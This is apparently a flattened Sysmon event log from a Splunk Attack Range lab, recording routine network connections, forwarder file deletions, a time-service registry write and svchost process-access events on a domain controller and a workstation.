15:04:55.494{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63123-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000054627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.490{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63122-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local49666- 354300x800000000000000054626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.490{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63122-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local49666- 354300x800000000000000054625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.490{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63121-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000054624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.489{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63121-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000054623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.470{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63120-false10.0.1.12-8000- 23542300x800000000000000054622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:57.214{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=05603AC3D2AA4DB5BEF6701484B4AFF6,SHA256=21F4CFC21F69AAC3917BF490D168EEB581059BC302A01BE413E229960F4DC44F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000054621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.381{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local63119-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000054620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.381{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63119-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000054619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.374{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63118-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000054618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.374{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63118-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000054617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.373{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63117-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local49666- 354300x800000000000000054616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.373{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63117-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local49666- 354300x800000000000000054615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.372{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63116-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000054614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:55.372{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63116-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 23542300x800000000000000017545Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:58.774{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D34F367696E3BAD83CCE744578ED711,SHA256=553AD2E9E0D0C29CE96518D36CFCACF6DE1EC3C2789579F0B368CE2ED6CFEDE7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:58.762{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3F2F14878C8D0A820B74EBE2C4AF4F09,SHA256=EF1A705B6C828456A02DECC3CE1A81562567FBB9D2B9785383C7C1865B5A98AF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017546Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:59.836{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F4F84D481893F5403A441564DEEAD225,SHA256=27CA398D180AE080A1211E6B3D51B382D3D986A5E7D6927214D00639A77C0275,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:59.777{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A031A29E2F43512F377445A24094C631,SHA256=72EFCB442F10930D3AA93D38FDA2A76BE9BA49A528FEDBED9D9A1FF88CBC1FBF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:59.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6CABF18D60EDCF3CE11099686B773542,SHA256=47973E56B51B420CDF2F62C260F41C85D8FF9E894BE51813D56C9E0630AC79E6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000054632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:56.158{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60329- 23542300x800000000000000017548Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:00.852{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=721808A358A40972495AD70C96294C88,SHA256=E6AABED34C2BEF2897D649CEC288D2CA55D61CDCE8ED52A7E43C20B1389309E5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:00.907{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E373916573FF06AC7C450F01F1B3168,SHA256=9114D06F0BEBBE1BEA30250516B31CF7B2D7053F42A10405A207BEB3CA3B1CCE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000017547Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:05:00.024{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a655-0x39a4a7a2) 354300x800000000000000054636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:57.724{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63124-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000054635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:57.724{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63124-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000054638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:01.910{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=20EC7452895B9DC99E691D1DA7B5FF45,SHA256=FBC649F8BA1E2391C4CFC4B84BFD4AFAF689E28486B9349EFBD160F6FEE7E899,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017551Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:01.867{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62701364D518B004B2F03B7CF52173E3,SHA256=C9CE0022C3DC288A28D2BF1FC20E9F91F1AAE079064410A52EFF8E9CEA923621,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017550Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:01.008{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=160B684A18AAC404930C4047E5A3E446,SHA256=6CCA1596FCF90CCABF146BE0B7476F872FCF9B641B23F45BAFC05E53B0E10AD4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017549Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:01.008{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=914C25D24BE7E2C2D1AB268AB86CC3E1,SHA256=32701DF772075BAD4E9CC978E4C5E95A607CD9065C5B3CB587BFA75B6ECA9855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017554Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:02.867{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BD94A7B87716B1E4C5179D9DC940A39,SHA256=5A153F3E523D64E3FEC00AC6CD5EF43E4D258C8207B47E0FA9F6A81092AF4176,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017553Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:02.352{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=0609BAF67E360D60C466C90548405E56,SHA256=30166C24B4C7325BC52BE8E4754EFD10DA148DCBA500487E19478B942FBB5989,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017552Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:00.329{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.15win-host-166.attackrange.local123ntpfalse169.254.169.123-123ntp 23542300x800000000000000017556Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:03.867{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=83B382CF37D60A7509139CA33A2DDDB6,SHA256=408B18B1F161E62C5BBA8974998529CAE0FE2B8FCA921FEE33271D50C3811403,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:01.210{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal63875- 23542300x800000000000000054639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:03.029{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=42693609B96BC9B0D2C93F93C08536DB,SHA256=CBDADDF42D1EE1A1A3C45D3D28DDC1BA4A57E27BA3E8C45856240AAF164071D0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017555Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:00.485{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50365-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017560Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:04.883{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B3B77C6AB48A07F57A817B16B26FCBA,SHA256=9EB490519B5BAB681C540B2F96A2D0DCC4EAB05C55F1623C6FA97C821AC814E4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:01.385{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63125-false10.0.1.12-8000- 23542300x800000000000000054641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:04.045{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4440638E8C24481D763528AD67B607FC,SHA256=F88DFE358A055193F6A6E3A4BB272BF89EB3C0C0EBB7A6BA01ACB1977CF86600,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017559Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:04.867{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017558Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:04.867{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017557Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:04.867{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000017561Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:05.899{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E362534502D04A48B45204D487864095,SHA256=E687727291FFB615AC8229C7CA22D2D7A17AAA09510EBF9DD01BCFA1025DC53E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:05.108{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=040044D4BAC248AC70FB134517E2E055,SHA256=E2115FFE8837A0B75A85527E887525E9C859776FEBD4BB50F6EE24B4490A7119,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017562Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:06.946{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52D0C44A7A033850772E5CF99C5D8800,SHA256=E914BC88AA40AEF3ED2598C802E645796C975E510F8DF18404BD8FD36E0C3D59,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:06.143{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD7CCFD0585736A36DD51CB44FBE6399,SHA256=EBDFE74963B9DD3EFE5336D16CA872334D0F4D8C76FAE2176C63E7FC076038ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017563Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:07.946{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D2C18B83E0461B1EC90AF512039E42E,SHA256=DF4DB1E6ED4D2A774635B8F5E43B11E1DEE88368E9AA43438F3B63BFA323A11B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:07.958{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3D8A793F7D58816772A2857431B1EC21,SHA256=4657B6DA5C34804F52FEA07816FBDC0350111766309A34FC364551E59CBBC4CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:07.958{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1E1BC761D9A0489AF964E4A0715BDE34,SHA256=3B7E342CC0785520A2E62CDEAE3E3D6D1B3BF6823A9BB60950E61C178C8E0EF2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:07.143{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D650637EA785FFD23467B529BB504E4,SHA256=94FB82FD00B261BE5B8FB2A3787CD827551E913D8A5E8A1560E3A9537FBA9643,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017565Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:08.961{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6E3610A635A518F0318FB26C5D92DC3,SHA256=80362C6CA67A0310801FB831BE30104F8515649564515A25E36902B0B5E99ABF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:06.421{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63126-false10.0.1.12-8000- 23542300x800000000000000054648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:08.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D9DBC7DA7EF67863EF9ED172BF696D8,SHA256=2DA76E70A860BE3D372B67D464D61BA9A2993E6CC4AB86F7370FC7592A7F55D8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017564Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:06.392{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50366-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017566Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:09.992{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 